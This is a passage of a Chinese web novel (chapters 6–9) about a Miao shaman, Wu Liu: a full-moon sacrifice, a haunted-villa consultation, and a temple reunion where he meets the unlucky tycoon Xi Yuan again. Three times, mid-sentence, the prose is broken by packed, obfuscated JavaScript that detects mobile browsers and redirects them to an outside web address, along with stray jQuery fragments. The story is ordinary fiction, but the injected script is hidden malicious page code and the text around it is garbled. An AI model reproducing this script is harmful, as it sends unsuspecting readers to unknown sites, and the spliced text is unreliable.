哪怕塔塔村已经成了旅游景区,但这里山高水远的,地方比较偏僻,环境肯定没有城里的好,郝大哥怕两位贵客住不习惯,给他们订的是这里最好的酒店,就是距离塔塔村稍微有点远。 胡助理喝多了几杯,懒得动弹,塔塔村这里也有不少民宿,例如他们现在这栋公寓楼,也可以是暂时落脚的地方,所以他干脆问了句:“怎么不在你们这公寓楼租两间套房?” 席远也正有此意。 郝大哥摸了摸脑袋,腼腆地笑了笑:“毕竟我们这栋公寓楼凶名在外,我哪敢给你们安排在这里住。” 胡助理脸上的表情一僵,勉强地笑了笑:“你在宜梨县饭局上说的凶宅就是这里吗?” 郝大哥点点头,指了指他背后的402房,说:“喏,这就是我说的那间凶宅。” 胡助理眼神闪过一丝惊恐,不敢回头看,声音微颤:“那那那我们还是住酒店好了。” 席远看了看对面的房门,再看一眼慵懒地倚在家门口的邬柳,他没想到有人居然会愿意住在凶宅对面,而且听郝大哥说,那位女租客曾骚扰了他很长一段时间。 邬柳似乎看穿了他在想什么,淡淡地说了句:“这里的租金是整个塔塔村最便宜的。” 席远怔了怔,这个说法还真是符合他的作风。 邬柳撇了撇嘴,像是不满地嘟囔了句:“穷都不怕还怕鬼?” 席远看了一眼墙上那张符纸。 邬柳是什么时候贴上去的呢? 他上来的时候好像没发现有这张符纸。 他回头对上邬柳那双漂亮的凤眸,微微一笑:“再见。” 虽然没有加到邬柳的微信,但席远还是很期待能跟他有下次见面的机会。 邬柳打了个哈欠,朝他挥了挥手:“再见。” 他当然希望能和席远再次见面了,毕竟见一次面就挣了对方一万块钱。 这样的大冤种也是不多了。 郝大哥在送席远和胡助理离开之后又折了回来拿他的符纸,邬柳仔细地打量了他一眼,他身上那股淡淡的黑雾已经散了。 认真想起来,在郝大哥和胡助理买菜回来的时候,他们身上也没有黑雾,是在与席远碰面之后才染上的黑雾,被席远影响了气运。 这种霉运通常不会危及性命,大概就是打开泡面没有料包,上厕所没有卫生纸,洗澡洗到一半停水,怪恶心的。 想必席远本人和胡助理应该很有心得。 邬柳假装不经意间问起:“我记得你之前说过,你跟那个叫席远的人是合作伙伴?” 郝大哥是个没啥心眼的人,只当邬柳是在好奇,一股脑地全部抖了出来:“哪能啊,他是我合作的那个品牌方的总公司负责人,我只是跟席总旗下一家小公司有合作,而且只是一个小代言而已。不过胡助理跟我说,后续还会找我合作其他产品!看来这次席总来塔塔村的行程虽然不完美,我还闹出了不少笑话,但是两位领导对我的表现还是挺满意的!嘿嘿!” 邬柳:“这么听来,他还是个大老板呢。” 郝大哥点了点头:“席总名下的产业很多,如果不是上次有幸跟他吃了一顿饭,我估计这辈子也没有机会能接触到他这种大人物。” 邬柳倒是没想到,原来霉运缠身的人,事业运居然会这么旺? 他有些好奇,席远的命格是不是出现了什么问题,又或者说,他的命格被人动过手脚。 他刚才算了算,席远的气运正在一点点往好的方向走。 更让他不解的是,席远发生了什么?变化的契机又是什么? 不过他并不着急,他有预感,他和席远应该很快就会再次相见的。 邬柳把画好的五张符纸递给郝大哥,说:“你不是说这个月底要搬走吗?” 这都月尾了,也没听见他搬家的动静。 郝大哥笑道:“我已经跟房东续租了,房东说从这个月开始房租减半!而且我感觉去哪里都不如现在这里安全!” 邬柳:“安全?” 郝大哥疯狂点头:“有您在的地方牛鬼蛇神都进不来!不过您要是想搬走的话,提前告诉我一声,我也跟着您一起搬,您去哪我去哪!” 邬柳:“。” 好家伙,原来是把他当作护身符了呢。 …… …… 中元节的前一天,旧历七月十四,就是一年一度的满月祭。 这一天的邬柳很忙。 祭祀仪式虽然是由村长来负责主持,但是邬柳也要穿着华丽的苗服负责上台念诵祭词,接受族人的供奉。 几日前,祭坛已经清扫干净了,用木桩围了起来,上面还摆放着祭祀用到的木鼓、芦笙等器具,是给年长的族人来负责表演的。 今天的祭坛上已经摆好了各种祭品,就等着仪式开始。 村长割下牛头悬挂在祭坛的木桩之上,新鲜的血液顺着木桩滴落在祭坛上,顺着祭坛的纹路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466923|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将整个阵法填满。 这样血腥的一幕,却被当作是与神灵沟通的桥梁。 从前的满月祭仪式用来当作祭品的不是牛头,而是人头。 直到一百年前,人头祭废除,改为用牛头来祭祀,而且是用的活牛,现场宰杀。 满月祭的这一天,所有族人都必须穿着苗服,盛装打扮前来。 他们神情肃穆地站在祭坛下方,年长的族人敲响木鼓,燃起篝火,宣布仪式开始。 村长围绕祭坛走了一圈,把木盆里的五谷杂粮抛撒在人群中,随后开了一坛米酒倒在碗里,嘴里不停地念着:“祈求祖先显灵,保佑我塔塔村风调雨顺、人畜和睦、粮油满仓、族群繁衍。” 邬柳身穿华丽的祭祀长袍,头戴银冠,缓缓走上祭坛。 村长恭敬地给他递了一碗酒,邬柳一饮而尽,开始吟唱祭词。 清沉的嗓音响起,那是一种复杂又古老的苗语,生涩又难懂,哪怕是年过花甲的老者也无法读懂邬柳所念的祭词。 祭词很长,邬柳念了有二十分钟,才缓缓停下来。 年轻的族人围绕着祭坛载歌载舞。 村长将米酒和肉分到每一个族人的碗里,意味着他们将得到先祖庇佑。 仪式结束后,族人会围着篝火坐下,共享祭品。 也会有年轻的父母抱着幼童来找邬柳系五彩绳,希望能得到大巫的赐福。 烤肉的香味完全掩盖了空气中那股淡淡的血腥味,看着小辈们在祭坛下品尝佳肴,开怀畅饮,邬柳垂下的眼眸敛去一丝无奈,松了松手腕,他终于将最后一根五彩绳系完。 郝大哥偷偷从后面绕了过来,给他端来了满满一碗的肉。 邬柳:“你怎么在这?” 郝大哥:“村长允许我们外族人参加仪式,但是需要穿上苗服,遵守仪式秩序,另外再交点饭费就好了。” 他来塔塔村五年了,以前都是远远看一眼不敢靠近,今年还是他第一次参加祭祀仪式。 五年前,他第一次参加仪式时,就被木桩上挂着的牛头吓到,对塔塔村的这种祭祀仪式感到震惊和害怕。 在他看来,这是一种封建陋习,尤其是当他知道以前祭品并非选用牛头而是人头之后,这种毛骨悚然的感觉更甚。 但转念一想,当时塔塔村的先祖们还处在原始社会的采集、狩猎时代,除了填饱肚子就是繁衍后代,每个部落之间还有资源掠夺和占领地盘的纷争,杀死的同类说不定第二天就摆上了餐桌。 文明随着时间慢慢进步,民俗也随着一代代人传承了下来,不全是坏事。 邬柳瞥了一眼四周,趁着没人注意,赶紧塞了一口大米饭。 他都要饿死了,但是他还穿着祭祀的服饰,就得端着。 郝大哥:“您吃吧,我给您放风!” 他可是早早就注意到了,大巫都一天没吃东西了! 邬柳:(O﹃O) 郝大哥一看就是秉性纯良的好孩子,下次坑他的时候可以再给他打个折。 郝大哥:“大巫您这是要表演一整天吗?仪式结束应该可以回家了吧?” 听到“表演”两个字,邬柳怔了怔,许久都没回过神来。 是啊。 他和村长不就是在表演吗? 两个人一唱一和。 台下的族人全是观众。 7. 第 7 章 郝大哥说完那句话之后,邬柳一直在发呆,他还以为是自己说错话惹邬柳不高兴了,目光有些忐忑。 邬柳回过神来,看了他一眼,“怎么了?” 郝大哥可怜兮兮地说道:“我说错话了,我不该说您是在表演,我一点都不尊重……” “你说得对。”邬柳打断了他的话,脸上露出一抹无奈的浅笑:“满月祭就是我和村长的一场表演而已。” 郝大哥脸上有着片刻的茫然,似懂非懂地点了下头。 虽然邬柳总是一副淡淡的表情,但他明显地察觉到今天的大巫特别不高兴。 整个人恹恹的,没什么兴致,甚至他觉得,大巫已经很努力在配合村长完成这场表演了。 邬柳没有过多解释,而是看向了碗里堆得高高的肉,不再顾忌什么形象,大口大口地吃了起来。 郝大哥:“对了,有个老板想通过我认识您,他说他最近有点倒霉,啥事都干不成,怀疑是沾上了什么脏东西,想让您帮忙看看。” 邬柳挑了挑眉:“我收费可是很贵的。” 郝大哥笑道:“价钱不是问题,您可以适当地宰他一顿。” 邬柳:“他和席远谁有钱?” 郝大哥:“那还是席总有钱。” 邬柳有些失望:“好吧。” 想席远这种上赶着来给他送钱的大冤种是真的不多了。 郝大哥给两人约在明天上午见面,樊永年得知邬柳愿意见他一面之后,连夜就坐了飞机过来,第二天带着几份礼品在医馆门口等着了。 邬柳让他进门之后,就在门口挂上了打烊的牌子。 看着屋里面的蜘蛛还有毒蝎,樊永年害怕得咽了下口水。 蜘蛛挂在屋梁上,吐丝织网。 毒蝎趴在药柜上,有手臂那么粗,看着特别吓人。 药柜最顶上的那一层,有一排玻璃罐,罐子里面装着各种毒物。 樊永年又想起对方苗族大巫的身份,听说对方精通苗疆蛊术,下蛊无形,是个狠角色。 邬柳给他倒了杯水,樊永年不敢喝,生怕里面有什么蛊虫之类的,倒是一旁的郝大哥没心没肺地一口闷了,还重新给自己接了一杯,他这才敢轻轻抿了一口。 邬柳看他面带死灰,双目无神,精神萎靡,明显就是百事缠身,休息不好,所以精神状态很差。 “你最近的几笔投资都失败了,生意也没什么起色,目前是在吃老本,所以你急着寻求出路,在这段时间你急病乱投医,一不小心还踩了不少坑,你现在急着寻求新的合作伙伴,可惜的是,没人愿意拉你一把。” “你妻子跟你的感情不好,你们最近爆发争吵的次数越来越频繁,甚至她提出想要跟你离婚。” “你的脾气本来不坏,但因为这段时间百事缠身,又和妻子闹别扭,睡也睡不好,对孩子也没什么耐心,所以孩子现在都不喜欢你。” “你的酒肉朋友知道你投资失败,还担心你找他们借钱,所以最近都不太愿意跟你联系。” “所以,你现在是众叛亲离的局面,是吗?” 樊永年瞪大双眼,他还没说话,邬柳已经将他摸透了,这是怎么做到的? 他下意识地看了一眼郝大哥,可郝大哥根本就不知道他的内情。 邬柳:“你最近是不是搬家了?” 樊永年:“是!” 他是两个月前搬的家,除了自己家人,连亲戚朋友都不知道。 听到邬柳问的这个问题,让他心里猛地一颤,并没有隐瞒:“孩子们都长大了,之前住的那套房子太小了,没什么活动的空间,所以我换了套新的房子。” 邬柳:“有照片吗?” “有!”樊永年连忙掏出手机,翻开几张他新屋入住时拍下的照片,把手机递给了邬柳,说:“中介当时跟我说这套房子风水特别好,连风水师也是这么跟我说的,说我下半年财运亨通,事业运很顺利,家庭和睦,没什么不妥的地方,但自从我住进去以后,我那两个孩子经常生病,三天两头就得跑一趟医院。我和妻子的睡眠质量也下降了很多,睡不着觉,心里总闹得慌,在搬进来新房之后,我们夫妻俩也经常因为各种小事吵架,家宅不宁。连事业方面也如您所说的,不管是投资还是公司的其他生意,没有一样是顺利的。” 邬柳光是看图片就觉得很不舒服,他微微蹙眉,轻声说了句:“我还是到现场给你看看吧。” 樊永年:“好,麻烦您了。” 邬柳同时提醒他:“如果那个中介还没跑路,你可以找他麻烦了。” 樊永年也意识到自己被骗了,连忙应了下来。 时间紧任务重,邬柳这次要到湖山乡待上几天,还得带上几套衣服。 邬柳还是第一次出远门,刚好郝大哥也要到附近出差,所以他跟在郝大哥身后像个好奇宝宝一样,东张西望。 说起来,他也不知道在森林里待了多少年,他从小就知道自己身上背负着“守护部落”的责任,所以他从来没走出过这座大山。 他一身苗服打扮,吸引了不少人的目光,以为他是coser或者是哪个网红,甚至还有人想跟他合影。 郝大哥挡在他面前,充当保镖角色,在机场分开时,他还千叮万嘱,要是邬柳遇到什么事就给他打电话。 邬柳点点头,他出门之前给自己算了一卦,从卦象上来看,他这次出门会有意料不到的收获,他还蛮期待的。 樊永年的妻子带着孩子回了娘家,所以房子里暂时就他一个人。 邬柳静静地打量着这套房子,如果说那天光看图片就让他觉得不舒服,那么他此时站在房子里面,那种不舒服的感觉被无限放大。 房子的气场很不对,阴阳失调,煞气很重。 樊永年买的这套独栋别墅花了三千多万,听他的意思是这套房子是生意上的朋友给他介绍的,前一任房主因为要出国定居,短时间内都没有回国的打算,所以才急着找人接手,因此整套别墅的价格便宜了三百多万,光是这个价格,樊永年就很心动了,而且房间的采光很好,占地面积大,足够宽敞,他的小孩能在花园里肆意玩耍,更别说这里的交通很方便,附近还有几座学校,小孩上学也很方便,小区又靠近商圈,平时买菜或者带小孩出去玩也不在话下。 在中介的巧舌如簧下,樊永年很快就办理好了房子过户手续,顺利地搬进了这栋别墅。 也就是搬进别墅的一个星期后,他的孩子开始频频生病,事业也开始走下坡路,股票亏损了几百万,投资的项目也因为各种原因赔了不少钱,还要被公司里不少麻烦事绊住脚,事业的不顺利让他喘不过气,回到家还要照顾老婆孩子,他的脾气越来越差,导致他现在跟妻子和小孩的气氛闹得很僵。 邬柳让他打开客厅的大门,从门口看向马路。 樊永年:“有什么问题吗?” 邬柳:“先不说房子内部的问题,你看你这房子正对着马路,还是门口正对马路,这叫犯冲。” 樊永年回想起中介给他介绍的那个风水师,他的说法与邬柳的说法完全不同,甚至还骗他说,他的房子就像一个钱袋子,四面八方来财。 比起前面那个来历不明的风水师,他更愿意相信眼前这个在塔塔村很有权威的大巫。 看邬柳驻足于他那幅古董画前,樊永年紧张地开口:“这幅画有什么问题吗?” 邬柳:“问题很大。” 樊永年猛地一颤:“这是前任房主留下来的,我听说是古董画所以就一直挂在这了。” 邬柳把画取了下来,随意丢在了一旁的餐桌上,说道:“老虎可是凶兽,它的煞气本来就很重,这幅古董画上的老虎龇牙咧嘴,眼冒凶光地看着你,你难道不会觉得不舒服吗?” 樊永年愣愣地点了点头:“会。” 尤其是这幅画挂在玄关处,他每次一进门就率先看到这幅古董画,对上老虎那副凶狠的模样,他总觉得有些膈应。 邬柳:“那就对了,你可以把这幅画扔了,又或者转手送给你讨厌的人。而且这幅古董画说不定也不是什么真迹,大概就是幅仿品,你要挂就挂点山水画,别再整这些乱七八糟的了。” 樊永年当着邬柳的面把那幅画撕掉,悻悻道:“我什么都不挂了。” 邬柳顺手把桌上的那盆仙人掌也扔进了垃圾桶里,说:“仙人球带刺,它是凶物,也会破坏你家的气场,跟刚才那幅画一样,这两者都会让你家宅不宁,所以你跟你老婆说话总是带刺,两人争吵不休。” 樊永年原本还想挽留一下,因为这是他妻子买的,听到这句话后,他果断地把桌上另一盆仙人球也扔进了垃圾桶。 两人在客厅里转了一圈,随后走进了书房,邬柳看着柜子上摆着的那几件古董,无奈地叹了口气。 樊永年被他这声叹气吓得心惊肉跳,声音哆嗦了下:“怎、怎么了?” 邬柳面无表情地看着他,问道:“一般古董都是从什么地方出土的?” 樊永年想了想,细思极恐,连回答这个问题的勇气都没有。 邬柳:“也不是所有古董都是出土古墓,但这种陶罐...你还是把它们处理了吧,这些古董放在家里太阴损了,尤其是你们家还有小孩,幼童身体虚,哪里能挡得住这么凶的东西,所以小孩才会经常生病,你们夫妻俩也睡不好。” 樊永年脸色苍白地点了点头。 他是个生意人又好面子,合作伙伴常来常往,他就想着给家里弄些文玩古董回来,给自己撑场面的,没想到还被这些东西反噬了。 樊永年:“我把这些东西都丢了,门口再弄点遮挡物,这房子还能住吗?” 邬柳看了他的八字之后,摇了摇头:“你这房子里面藏着的东西可不少,而且你的命不够硬,镇不住这些东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466924|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我劝你还是搬走吧,对你和家人都好。” 樊永年怔了怔,仿佛没听懂他说的话:“藏着的东西?” 邬柳指了指挂在窗边的葫芦,“你什么时候买的?” 樊永年:“一个月前。” 邬柳:“这个月下过雨吗?” 樊永年:“没有,这个月湖山乡天气很好,没下过雨。” 邬柳:“现在正值秋天,天气干爽,你的这个葫芦就挂在窗边,是全屋通风最好的地方,而且最近这段时间又没下雨,这葫芦还长满了霉菌,你没发现问题吗?” 樊永年还真没留意到这个问题,他平时很少打理家务,都是妻子来管家务事的,她一向把家里收拾得妥妥当当,不可能没有注意到这个长霉菌的葫芦,难道是这几天才发生的事情吗? 他越想越惊悚,把葫芦取下来丢进了垃圾桶。 邬柳把门口贴着的那张符纸撕了下来,用打火机烧掉,脸色不太好,“这是谁给你贴的?” 樊永年:“是那个风水师给我的,说把符纸贴在门口可以镇宅辟邪。” 邬柳啧了一声,他真想会会这风水师,这真真是招摇撞骗的江湖术士。 樊永年不敢多问,看样子这张符绝对不是什么好东西。 邬柳:“尽快搬走吧,这房子不能住了。” 樊永年不止这一处房产,听到邬柳的话,立马就行动起来,开始收拾行李。 在他忙碌的时候,邬柳也没闲着,在他家门口附近转了转。 小区很安静,马路上也没什么车辆,附近的几栋别墅也看不见烟火气,空荡荡的,连个人影都没有。 邬柳站在马路中间,明明是中午烈日当空的时候,却有种后背发凉的感觉。 他闭上双眼。 在那一瞬间,四周的环境变得扭曲,仿佛被撕裂一般,将他拽回了一年前的一个雨夜。 女孩满身是血地趴在地上,她努力地朝着前方的别墅爬去,哭喊着:“救救我……” “大哥,怎么办?!我们好像撞到人了啊!” “别慌,你下车看看她死了没有!” “大哥...” “快去!” “没死啊,她还活着!我们是不是要打120啊?!” “打什么120!滚开!” “大哥!” 女孩绝望地看着那辆车再次向她驶来,从她身上碾压过去,她嘴里含着一口血,看向不远处灯火通明的别墅,明明她的家就这么近。 最后女孩缓缓闭上了双眼。 邬柳从混沌空间里走了出来,忍不住吐槽了句:“真是造孽啊。” “想回家”成了女孩的执念,所以她被困在了这里。 樊永年只是带走了家里的现金和首饰,其余的什么都没带,也不打算带走了,他嫌晦气,他一步步朝邬柳走来,说:“那我们现在去看看新房?新房有您看过我才能安心把老婆孩子从娘家接回来。” 邬柳:“行。” 樊永年:“那您等会,我把车开过来。” 邬柳:“还是别把车开过来了,我们走过去吧。” 他的话音刚落下,一辆小汽车就从他们眼前飞过,直直撞上了樊永年家的门口。 樊永年瞬间懵了。 邬柳拍了拍他的肩膀,说:“回头你有兴趣的话可以搜新闻看看,这个路口可是发生过好几起车祸。” 樊永年再也忍不住怒骂出声,啐了好几口,这栋别墅是他一个合作多年的老朋友介绍给他的,所以他才会盲目信任对方,直接把房子盘了下来,没想到他这老伙计是想要他的命啊! 邬柳快步走上前,敲了敲车窗,司机没有反应,他只好破开了窗户,把车门打开。 司机浑浑噩噩地趴在方向盘上,神志不清地看着他。 邬柳用力拍了拍他的肩膀,清沉的嗓音响起:“你没事吧?” 司机惊醒过来,后怕不已,吓得腿都软了,“我刚才是不是中邪了?我开得好好的,车速也不高,怎么一到这里就要拐弯的时候,我突然加速直直地撞了上去。” 樊永年听到司机的这番话,汗毛都竖起来了。 看着那撞得稀巴烂的车头,还有被撞倒的墙面,樊永年也顾不上等保险公司来了,他给司机报了警,然后拉着邬柳就跑了。 “太邪门了,我们还是先走吧。” 邬柳给某个正在度蜜月的讨厌鬼打了通电话。 姜祈正躺在陆时的腿上,吃着陆时给他剥的石榴,惬意得很。 “有事?” 邬柳无奈地开口:“我给你发了个位置,你帮忙来处理一下吧。” 姜祈:“报酬?” 邬柳深吸一口气:“一会我给你转。” “行。”姜祈直接挂断了电话。 邬柳:“……” 真是没礼貌的家伙! 8. 第 8 章 樊永年带着邬柳到他的新房里里外外看了一遍,连任何一个角落位置都没有放过,确认新房没有问题之后,他才松了口气,连日布满阴霾的脸总算露出了几分笑容。 在郝大哥的耳濡目染之下,他也买了好几张镇宅的符纸贴在门口,按郝大哥的意思就是,一张符纸贴不够,要是有一沓更好,每个房门口都贴上,最好连床头都不放过。 结束今天的看房工作之后,樊永年非常爽快地给邬柳打了三十万块。 “对了,您说的那位大师,他是……?” “我的师兄。” 邬柳数着银行卡那一串零,不是很舍得将其中那二十万打给姜祈,驱鬼这种小事他也会做啊,但他也没否认姜祈是比他做得好那么一点点,也就一点点而已。 他非常痛心地给姜祈转了18万8,下一秒,他就收到了姜祈扣的问号。 邬柳:188888,好意头。 姜祈:2025年9月30日,邬柳欠我11112元。 邬柳:??? 邬柳:玩不起? 姜祈:那还钱。 邬柳直接把他拉入了黑名单,眼不见为净。 真是没礼貌又抠门的家伙。 他来湖山乡还有一件事,就是去拜访一位老朋友。 要说湖山乡最出名的地方,不是什么旅游景点,也不是地方美食,而是落座于群山之间的湖山寺。 “咚”的一声,梵钟的钟声清越悠长,穿透云雾,在山间回荡。 邬柳杵着登山杖,站在湖山寺门口,他爬了大半天的山,双腿软绵绵的使不上力,没想到去一趟湖山寺得走这么远的山路,看着眼前的百步梯,他丝毫没有犹豫,转身就走。 他完全没有那种“来都来了,再坚持一下”的想法。 邬柳刚走了两步,身后就传来一道熟悉的声音喊住了他。 “大巫,您怎么来了?” 邬柳回身一看,没想到竟然会在寺庙门口看见了他想要见的人——净尘大师。 净尘目光流露几分惊喜,笑意盈盈地看着他。 邬柳看着他满脸的皱纹怔了怔,一晃过去五十年,他的记忆还停留在当年初见时,净尘那张纯真的笑脸。 净尘穿着僧服,在扫山间小路的落叶,看着邬柳脸上片刻闪过的茫然,他含笑道:“您不记得我了吗?” 邬柳轻轻摇头:“我此行就是来找你的。” 净尘笑道:“许多年未见,甚是想念,请随老衲移步到后院来喝盏茶吧。” 邬柳还记得五十年前在塔塔村遇到净尘的时候,他被净尘身上那股朝气蓬勃的生命力所吸引,净尘也是为数不多能让他记在心里面的人。 那时的净尘是来塔塔村游历的,也是当时唯一一个让邬柳以客人的方式带回过九黎部落的外族人。 他还记得净尘在离开塔塔村之前说的那一番话:您的岁月无限长,不妨卸下肩上的担子,出去走走,去看看祖国的大好河山。 所以在邬柳走出那座大山之后,他想来见见这位老朋友。 时隔多年,净尘已经从当年一个四处游历的小和尚变成了现在的湖山寺方丈,他隐隐约约感觉到有故人来访,所以早早就在寺庙门口等着了。 邬柳看着他手里拿着的扫把,轻笑一声:“原来方丈也要负责扫地。” 净尘摇头长叹,对此十分苦恼:“门口的落叶多,每天都扫不完。” 湖山寺四面环山,是藏在山林间的寺庙,如今秋季,树叶开始泛黄,落得满地都是,只要一天不收拾,落叶能堆得厚厚一层,几天不打扫,连山路都看不见了。 邬柳:“还没恭喜你成为了方丈。” 净尘摆摆手:“没什么好恭喜的,要操持一堆琐事,还不如当个小和尚畅快。” 邬柳唇边荡开一抹笑容,净尘是个洒脱快活的人,方丈这个身份无疑是给他上了一层枷锁。 净尘给他倒了杯茶水,颇有感慨地说道:“您终于想通了,要出来走走?” “嗯...”邬柳早就厌倦了现在的生活,不想再待在山里面,不想每天跟病人打交道,不想再管部落里的琐碎事,想换一种生活方式,就像净尘说的“岁月无限长”,他应该多看看外面的世界。 净尘努力回想着他们当年第一次见面的时候,几十年的光阴好像一眨眼就过去了,他艰难地把零碎的记忆拼凑起来,看着眼前这张还年轻的脸,他淡淡地笑了笑:“这么多年过去,您好像没什么变化。” 一头黑发,一身苗服,腰间戴着个小铃铛,宛如少年模样。 邬柳:“我也老了,只是保养得好。” 净尘带着遗憾的口吻叹了一声:“可惜,老衲已经过了吃保健品的年纪了。” 邬柳:“。” 净尘是怎么知道他要推销他的保健品的? 他还没开始呢! 净尘这个90岁的小孩一点都不可爱。 但是看在他都这个年纪了还精神矍铄的样子,邬柳感到很欣慰。 净尘是个长寿的小孩,这一生平安顺遂,安享晚年,是个很有福气的人。 “一会有个法会,您有兴趣来当这个主持人吗?” 邬柳兴致缺缺:“你看我像是能开佛教讲座的大师吗?” 净尘眯着眼睛笑了笑:“香火钱挺高的。” 邬柳瞬间来了精神:“像我这样满腹经纶,才华横溢,对经文倒背如流的大师,这种法会对我来说不过是小儿科。所以,地点在哪?什么时候开始?我要不要换身衣服?” 半小时后。 邬柳穿着九条衣,神情严肃地翻着一本经书,站在法堂上诵读经文,并向所有学者讲解佛教经文和智慧,为他们解答佛经中的疑问。 姗姗来迟的席远和胡助理随便找了空位坐了下来。 席远看着台上的邬柳,脸上难掩惊讶的神色:“是我看错了吗?台上正在讲解佛经的大师是不是我们在塔塔村见到的那位大巫?” 胡助理揉了揉眼睛,迟疑地点了点头:“没想到大巫竟然还是湖山寺的大师。” 在法会结束后,席远拦住了准备开溜的邬柳,说道:“大师,我这串佛珠还未开光,能行个方便吗?” 邬柳顿时停下脚步,看着浑身冒着黑色雾气的席远,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466925|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些讶异:“你怎么在这里?” 席远也没想到会在这里遇见邬柳,他这次是到湖山乡出差,合作伙伴在听闻他来湖山乡诸事不顺之后推荐他来湖山寺上炷香化解霉运。 湖山寺里的香火终年不断,每天都有大量信徒前来许愿和还愿,宝殿门口的那巨大的香炉里插满了香火蜡烛,香灰溢出来洒在地上,青烟直上。 在合作伙伴的力荐下,席远只好在结束工作后,带着助理前来上炷香,听听法会,接受佛教的洗礼,净化心灵。 席远:“我还以为大巫是道教的,没想到居然会在佛教法会上也能遇见大巫,还真是...缘分啊。” 邬柳噎了下:“谁跟你说我是道教的?” 他哪有教派。 他只是一个名不见经传、多才多艺的小巫医而已。 席远上下打量了他一眼,挑了挑眉:“那您这是...?” 邬柳一本正经地说道:“只是受净尘大师所托,来为佛教信徒讲解经文。” 席远垂眸失笑:“看来是净尘大师给的香火钱足够多。” 邬柳被他手上的佛珠所吸引,没注意听他说的那句话,“你说什么?” “没什么。”席远见他对自己手上的佛珠感兴趣,便递给了他,说:“还没开过光的,请大巫帮个忙?” 邬柳深深地看了他一眼,没想到有人会倒霉成这样,“你在哪里买的?” 席远:“寺庙门口的弟子,怎么了,有问题吗?” “...”邬柳一言难尽地看着他,席远手上这条手串不是普通的佛珠,它是藏传佛教法器,有个别名叫:嘎巴拉手串。 在正统的藏传佛教中,嘎巴拉是一种神圣又珍贵的法器,通常由高僧的头盖骨、眉骨、腿骨等等制作而成,它是承载智慧的法器,为佩戴者带来福报和平安。 邬柳忍不住问他:“你花了多少钱买的?” 席远:“二十多万吧。” 邬柳:“……” 世界上的有钱人这么多,为什么不能多他一个? 世界上人傻钱多的大冤种这么多,为什么不是被他坑骗到的这笔钱? 他现在上山随便砍点木头磨成珠子做成手串卖给席远还来得及吗? 不要2999,也不要1999,只要999! 席远看他脸上难掩心痛的表情,觉得十分有趣,唇边荡开一抹笑容:“我是被骗了吗?” 邬柳:“那倒没有,不过这东西你最好别戴,而且你可以报警了,并选择上交给有关部门。” 不知道席远是被哪个骗子忽悠买下的这条手串,它不是什么廉价的合成品,也不是用动物骨头伪造的替代品,而是真真实实的人骨制作而成的。 在听到邬柳给他解释的一番话之后,席远总觉得后背凉凉的,难怪他在接触这条手串的时候就觉得不舒服。 他把手串丢给了身后的胡助理,胡助理手忙脚乱地捧着,紧张地看向邬柳,问:“我碰它不会有什么事吧?” “那倒没有。”邬柳顺手打开自己的收款码,微微一笑:“如果你害怕的话,可以在我这买个护身符保平安。” 9. 第 9 章 果然,在席远把手串丢给他的助理之后,笼罩在他身上的那股浓郁的黑气散了不少。 席远这个倒霉蛋就是招黑体质,什么阴邪的东西都往他身上蹭,幸亏是他的命够硬,所以即使发生一些倒霉的事情,对他来说也不痛不痒,唯一对席远下狠手那回应该就是他在宜梨县出车祸那一次。 可当时席远有郝大哥这个先天锦鲤圣体在侧,所以他只是受了点轻伤。 真可怜。 邬柳摸了摸口袋,那里装着一条净尘给他的佛珠,想起净尘那副贱兮兮的笑脸说让他送给有缘人,他不禁嘀咕:“这算什么有缘人,顶多就是维护一下大冤种客户和自己的关系。” 看着邬柳递过来的佛珠,席远下意识地就掏出了他的手机,点开“扫一扫”功能,说:“多少钱?” “...”邬柳把手串塞到他手上,很大方地说了句:“不用钱,送你了。” 席远看着他,错愕的表情凝固在脸上,似是有些不敢置信。 邬柳:“???” 难道他就不能免费吗? 邬柳恼羞成怒地瞪了他一眼,轻哼一声,潇洒地转身离开。 席远看着手上的佛珠,轻笑一声,把它戴在了手上。 “走吧,我们也该回去了。” …… …… 湖山寺的斋饭做得很不错,五点刚过,食堂就坐满了人。 邬柳看着净尘给他装的满满一碗素菜犯了愁,这菜做得再香,它也是素的,可他想吃肉啊。 “滴滴——” 邬柳恹恹地看了下手机短信,是樊永年发来的信息,说是要请他吃晚饭。 他的目光瞬间变了,亮晶晶的,仿佛眼前的白菜豆腐变成了各种肉,他大口大口地扒着饭,硬塞了下去,随后毫不犹豫地拒绝了净尘让他留宿的提议,风风火火地下了山。 邬柳:(O﹃O) 他要去吃肉了! 邬柳第一次进城,表现得跟个土包子似的,还是在郝大哥的语音电话指导下,才成功来到了樊永年说的醉仙居。 “这就是天字一号房,您里面请。” 推开包间的门,服务员的声音吸引了在场所有人的目光。 